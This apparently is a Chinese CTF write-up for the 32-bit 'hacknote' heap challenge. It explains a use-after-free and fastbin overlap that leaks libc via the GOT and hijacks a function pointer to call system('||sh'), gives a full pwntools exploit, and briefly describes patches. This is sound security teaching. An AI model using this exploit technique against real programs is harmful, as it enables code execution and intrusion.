请注意,本文编写于 1380 天前,最后修改于 616 天前,其中某些信息可能已经过时。
啊这算是第一道自己动手独立完成的堆题了,真的费神。还有一个问题没有解决:成功泄露free地址后,用本地艹写到这里我突然明白为啥算出来system和libc的基址是错的了,之前的程序都是64位的程序,加载的的都是本机64位的libc,但是这道题是32位的,我忘记换libc了。但是我更换了方法,使用了LibcSearcher的方法把这道题解决了。
首先先分析程序,本程序的note少了一个操作,就是edit,所以很多的方法是不可以使用的。我们先观察程序漏洞,本程序主要就只有一个漏洞就是UAF。
但是由于没有编辑函数,我们只能使用show函数想办法泄露没有被完全删除的堆块信息。于是我们观察一下show的函数结构,我们发现show函数的打印函数十分的奇怪。
他是调用了一个结构体中的的一个地址,我们意识到这道题的堆结构可能很有意思。
由于我们发现了这道题目的结构体可能很有趣,所以我们先观察一下堆的结构。
每一次申请堆块都会进行两个操作:
这个地方基本上就确定了我们的攻击方向:fastbinattack。由于fastbin的分配方式,他会按照大小进行分配。我们如果申请两个0x20的堆块,然后将他全部释放掉后。我们就得到了4个fastbin块。
分别是两个头两个用户数据空块。这个时候我们在申请一个0x8的堆块,此时操作系统就会取出两个0x10的fastbins,一个作为头部,一个作为用户段。由于fastbin是先进后出,所以我们就成功的将这个堆的用户快,分配到了0号块的头部。此时我们就可以编辑信息实现泄露与函数操控了。
之后我们只需要泄露libc,在用同样的操作将system地址写回即可。但是由于需要让fastbin覆盖到头部,所以我们的实际输入位置只有0x8,system占4,那么参数我们只能选择sh。
但是由于它数据结构的关系,导致我们的参数并不是很好填入。
这里我们很明显已经执行了system函数,但是参数中由于其他字符,导致我们的sh并没有被执行。于是我们选择‘||sh’,这里很像web中的注入。我们构造了system(XXXX||sh)的调用。
完整exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
#r = remote('220.249.52.133',57741)
r = process('./hacknote')
heap = ELF('./hacknote')
#libc = ELF('./libc_32.so.6')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#context.log_level = 'debug'
def create(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.send(content)
def Delete(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def show(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
def exit():
r.recvuntil(":")
r.sendline("4")
free_got = heap.got['free']
create(0x20,'\x00')
create(0x20,'\x00')
create(0x10,'/bin/sh')
Delete(0)
Delete(1)
gdb.attach(r)
create(0x8,p32(0x0804862b)+p32(free_got))
show(0)
#free_addr = u32(r.recv(4))
#r.recv()
free_addr=u32(r.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
#r.recv()
log.success('free_adrrss\t' + hex(free_addr))
#libc_base = free_addr - libc.symbols['free']
#log.success('libc base addr: ' + hex(libc_base))
#system_addr = libc_base + libc.symbols['system']
#log.success('system_addr: ' + hex(system_addr))
libc = LibcSearcher('free',free_addr)
#libc_base = free_addr - libc.symbols['free']
libc_base = free_addr - libc.dump('free')
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.dump('system')
log.success('system_addr: ' + hex(system_addr))
#binsh_addr = libc_base + libc.dump('str_bin_sh')
#log.success('binsh_addr: ' + hex(binsh_addr))
#gdb.attach(r)
Delete(3)
payload=p32(system_addr)+'||sh'
create(0x8,payload)
#gdb.attach(r)
show(0)
#create(0x20,'a'*0x20+p32(0x11)+p32(0)+'a')
#gdb.attach(r)
#payload=free_got
#create(0x20,p32(payload))
#show(0)
#r.recvuntil(":")
#data = r.recvuntil("\n")
#free_addr = u32(data.split("\n")[0].ljust(8, "\x00"))
#libc_base = free_addr - libc.symbols['free']
#log.success('libc base addr: ' + hex(libc_base))
#create(0x80,'a'*0x19)
#create(0x20,'a'*0x19)
r.interactive()
首先我们修复程序中调用的问题,由于每次都是调用函数并且每次都是从结构体上提取函数,所以我们可以直接将其绑定在执行的主函数上,以防任意执行漏洞。
修到这里我大概就明白为啥鼎哥说ADword上的pwn题不太行,真的太明显了,谁正常写程序会这样写,真的有些许离谱。真的就是为了制造漏洞而制造漏洞呗。
之后我们来下面来修复UAF,和之前一样我们只需要在释放堆块后直接释放数字就行。
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!